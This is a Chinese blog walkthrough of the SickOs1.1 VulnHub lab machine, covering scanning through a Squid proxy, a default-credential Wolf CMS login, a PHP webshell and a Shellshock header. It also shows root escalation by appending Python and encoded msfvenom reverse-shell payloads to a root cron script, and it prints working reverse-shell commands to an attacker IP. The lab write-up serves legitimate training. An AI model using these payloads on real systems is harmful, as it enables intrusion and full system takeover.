SickOs1.1靶机

靶机地址:https://download.vulnhub.com/sickos/sick0s1.1.7z


目录

解法一

环境配置:

信息收集

主机探测 

端口扫描 

Script漏洞扫描

 TCP扫描

 UDP扫描

端口利用查找

 漏洞查找

网页后台扫描

webshell 

getshell

解法二

Shellshock利用

 提权


解法一

环境配置:

kali和SickOs1.1都设置为NAT模式

两个都是可以的,个人比较喜欢第二种。

信息收集

主机探测 

 本机IP为192.168.234.152,扫描这个c段。

端口扫描 

sudo nmap -sV -O -p- --min-rate 10000 192.168.234.144 -oA nmapscan/ports

参数解释:

-sV                                              探测目标对象开放的服务

-O                                               探测目标对象的操作系统

-p-                                               探测目标开放的所有端口

--min-rate  10000                        以10000的速率进行扫描到的

-oA                                              将结果全格式的保存到ports中

可以看到开放了 22,3128,8080端口。保存下来

Script漏洞扫描

sudo nmap --script=vuln -p22,3128,8080 --min-rate 10000 192.168.234.144 -oA nmapscan/vuln

爆出来个Dos,一般的渗透测试中不用这种损人的漏洞。

 TCP扫描

sudo nmap -sT -T 4 192.168.234.144 -oA nmapscan/tcp

也没扫出来什么有用的端口,但是该进行的扫描是必须要进行的,万一哪次就是突破口呢。

 UDP扫描

sudo nmap -sU -p22,3128,8080 192.168.234.144 -oA nmapscan/udp

也没扫出来什么有用的端口。

端口利用查找

再次提示我们 Squid http proxy 3.1.19,很可能这就是突破口。

 漏洞查找

网页后台扫描

sudo dirsearch -u http://192.168.234.144 --proxy http://192.168.234.144:3128 -x403

挂上代理后可以正常扫描了,有个robots.txt访问一下。

  

不知道为什么proxy这个插件不管用了。 

两个代理全部给挂上,访问robots.txt。 

有个wolfcms,记着,接着访问login页面。

没什么用。 

好像也没什么用。

那就打开wolfcms这个后台试试看, 

打开了,随便点点看。 点了半天也没个上传点,那就搜一下这个cms。或许找找他管理页面。

找到了,就看看登录界面。 

现在就是找找怎么进入这个登录页面。 

刚开始无意的输入一个弱口令就进去,账号:admin 密码:admin。有点没话说。

现在就是寻找上传点, webshell

这个可以执行,php代码,那就开始反弹shell吧,

webshell 

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.234.152/443 0>&1'");?>

点击保存,现在kali中开启监听端口。

getshell

然后点击Articles这个页面。 

这里反弹上来了。 

可以让我们执行clear这个命令。

网站的配置文件,打开看看。 

有点乱,看看有什么可以执行的命令打开这个文件。

用vi打开可以看到有个sql的账户密码。但是又没开放3306端口利用不了,万一别的用户也可以用这个密码登录呢,那就看看所有的用户。

那就一个一个试试吧,

上来了 ,那就看看这个用户有什么权限。

具有所有权限, 那就用sudo新开一个bash环境。

得到flag! 

解法二

主机探测的和解法一样的,用Nikto扫描下。

sudo nikto -h 192.168.234.144 --useproxy http://192.168.234.144:3128
                                                                                                           
┌──(kali㉿kali)-[~/baji/SickOs]
└─$ sudo nikto -h 192.168.234.144 -useproxy http://192.168.234.144:3128 
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.234.144
+ Target Hostname:    192.168.234.144
+ Target Port:        80
+ Proxy:              192.168.234.144:3128
+ Start Time:         2023-12-11 05:28:31 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Ubuntu)
+ /: Retrieved via header: 1.0 localhost (squid/3.1.19).
+ /: Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.21.
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: Uncommon header 'x-cache-lookup' found, with contents: MISS from localhost:3128.
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /robots.txt: Server may leak inodes via ETags, header found with file /robots.txt, inode: 265381, size: 45, mtime: Fri Dec  4 19:35:02 2015. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ : Server banner changed from 'Apache/2.2.22 (Ubuntu)' to 'squid/3.1.19'.
+ /: Uncommon header 'x-squid-error' found, with contents: ERR_INVALID_URL 0.
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /index: Uncommon header 'tcn' found, with contents: list.
+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: index.php. See: http://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /cgi-bin/status: Uncommon header '93e4r0-cve-2014-6271' found, with contents: true.
+ /cgi-bin/status: Site appears vulnerable to the 'shellshock' vulnerability. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278
+ /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8913 requests: 3 error(s) and 20 item(s) reported on remote host
+ End Time:           2023-12-11 05:30:41 (GMT-5) (130 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

有个/cgi-bin/status漏洞,百度一下。是个Bash 破壳漏洞Shellshock (CVE-2014-6271)。

Shellshock利用

需要我们自行构造User-Agent

sudo curl -v --proxy http://192.168.234.144:3128 http://192.168.234.144/cgi-bin/status -H "User-Agent:() { :; }; /bin/bash -i >& /dev/tcp/192.168.234.152/4443 0>&1;"

()和{:;}的意思是不进行任何操作,只是返回一个零的退出状态.

 

成功反弹。

 提权

先用python建立一个可靠的连接。看看是否下载了python,用命令 dpkg -l。

有,那就用pyhon建立稳定的shell。

python -c 'import pty;pty.spawn("/bin/bash")'

进入到网站根目录,发现到一个connect.py文件,打开看看

暗示我们有定时任务,那就cat一下看看。

cat /etc/crontab
www-data@SickOs:/var/www$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

什么都没有,换一个看看,那就直接进入/etc的目录下找 cron.d这个文件。

www-data@SickOs:/etc$ ls -la cron.d
ls -la cron.d
total 20
drwxr-xr-x  2 root root 4096 Dec  5  2015 .
drwxr-xr-x 90 root root 4096 Dec  9  2023 ..
-rw-r--r--  1 root root  102 Jun 20  2012 .placeholder
-rw-r--r--  1 root root   52 Dec  5  2015 automate
-rw-r--r--  1 root root  544 Jul  2  2015 php5
www-data@SickOs:/etc$ cd /cron.d
cd /cron.d
bash: cd: /cron.d: No such file or directory
www-data@SickOs:/etc$ cd cron.d
cd cron.d
www-data@SickOs:/etc/cron.d$ ls
ls
automate  php5
www-data@SickOs:/etc/cron.d$ cat automate
cat automate

* * * * * root /usr/bin/python /var/www/connect.py
www-data@SickOs:/etc/cron.d$ 

重点是最后一句  root /usr/bin/python /var/www/connect.py 以root用户执行那个connect.py脚本,思路就很清晰了,百度一个python提权脚本。

  贴个连接:https://www.cnblogs.com/soulblog/p/15586775.html

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.234.152",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
 

 想办法把这个脚本替换connect.py。

 转到/var/www目录下。因为有#/usr/bin/python了我们只需要将引号里面的内容追到到这个定时脚本里面。

www-data@SickOs:/var/www$ ls
ls
connect.py  index.php  robots.txt  wolfcms
www-data@SickOs:/var/www$ echo "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.234.152",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);" >> connect.py
sh","-i"]);" >> connect.py(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/ 
www-data@SickOs:/var/www$ cat connect.py
cat connect.py
#!/usr/bin/python

print "I Try to connect things very frequently\n"
print "You may want to try my services"
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.234.152,4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([/bin/sh,-i]);
www-data@SickOs:/var/www$ 

静静的等着吧~

这里应该是端口占用了,直接用msfvenom换一个端口吧。

┌──(kali㉿kali)-[~]
└─$ sudo msfvenom -p cmd/unix/reverse_python lhost=192.168.234.152 lport=4449 -f raw
[sudo] password for kali: 
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 364 bytes
python -c "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqFkMEKwjAMhl+l9NSBRFerOKSHIRNEVHC7D1crG861LN37a+mGx+WQ8Cdf8kOajzW9I2jUWzuyIL/AobK9URoxaIM+7wmpDTpJ44RDvN0BXwuIN5yOQ39GCiGSUaMMNyEUNqr0WJ6uWTE6hV5+O5zLvLhn6SWatkGZrtPKMeZdA+4tookwCM/BcobwalrdGRYFaDUHxHMAnwAr/68A9WhbRpdV0y2xptEXCIxV8w==')[0])))"
www-data@SickOs:/usr/lib/cgi-bin$ cd /var/www
cd /var/www
www-data@SickOs:/var/www$ echo "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqNkF8LgjAUxb+K+DQhrjlXFLEHCYOICtJ3ybVQMje88/uX+Wc9upede/a758DKt1aNcVCJlzTOcBYOtrlulJCI1lNfvfvpQqHhbrClEKw3QEMGwYq642sXyBlj4Wgg7+Ohv8gwRYfseInTv9LeT677U5aktzg6e1MECFXXUhhCunK705V5E6YQHq2mBOFZVrJWxLPkchYVzKLoRGluvwrEvaqI6+dl7WPheh8ldFpt')[0])))" >> connect.py
<kchYVzKLoRGluvwrEvaqI6+dl7WPheh8ldFpt')[0])))" >> connect.py                
www-data@SickOs:/var/www$ cat connect.py
cat connect.py
#!/usr/bin/python

print "I Try to connect things very frequently\n"
print "You may want to try my services"
exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqNkF8LgjAUxb+K+DQhrjlXFLEHCYOICtJ3ybVQMje88/uX+Wc9upede/a758DKt1aNcVCJlzTOcBYOtrlulJCI1lNfvfvpQqHhbrClEKw3QEMGwYq642sXyBlj4Wgg7+Ohv8gwRYfseInTv9LeT677U5aktzg6e1MECFXXUhhCunK705V5E6YQHq2mBOFZVrJWxLPkchYVzKLoRGluvwrEvaqI6+dl7WPheh8ldFpt')[0])))
www-data@SickOs:/var/www$ 

 这里要注意一下是两个 >> 号 追加内容。

┌──(root㉿kali)-[~]
└─# nc -lvvp 4443
listening on [any] 4443 ...
192.168.234.160: inverse host lookup failed: Unknown host
connect to [192.168.234.152] from (UNKNOWN) [192.168.234.160] 32874
ls
a0216ea4d51874464078c618298b1367.txt
whoami
root
cd /root
cat a0216ea4d51874464078c618298b1367.txt
If you are viewing this!!

ROOT!

You have Succesfully completed SickOS1.1.
Thanks for Trying


ifconfig
/bin/sh: 5: ifconfig: not found
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever                                                                                                                           
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000                                                                             
    link/ether 00:0c:29:19:ec:fa brd ff:ff:ff:ff:ff:ff                                                                                                                   
    inet 192.168.234.160/24 brd 192.168.234.255 scope global eth0                                                                                                        
       valid_lft forever preferred_lft forever                                                                                                                           
    inet6 fe80::20c:29ff:fe19:ecfa/64 scope link                                                                                                                         
       valid_lft forever preferred_lft forever   

可以看到成功了。 (之前那个玩崩了,又重新下载了一个才得以成功。)

至此结束!

 

  • 7
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值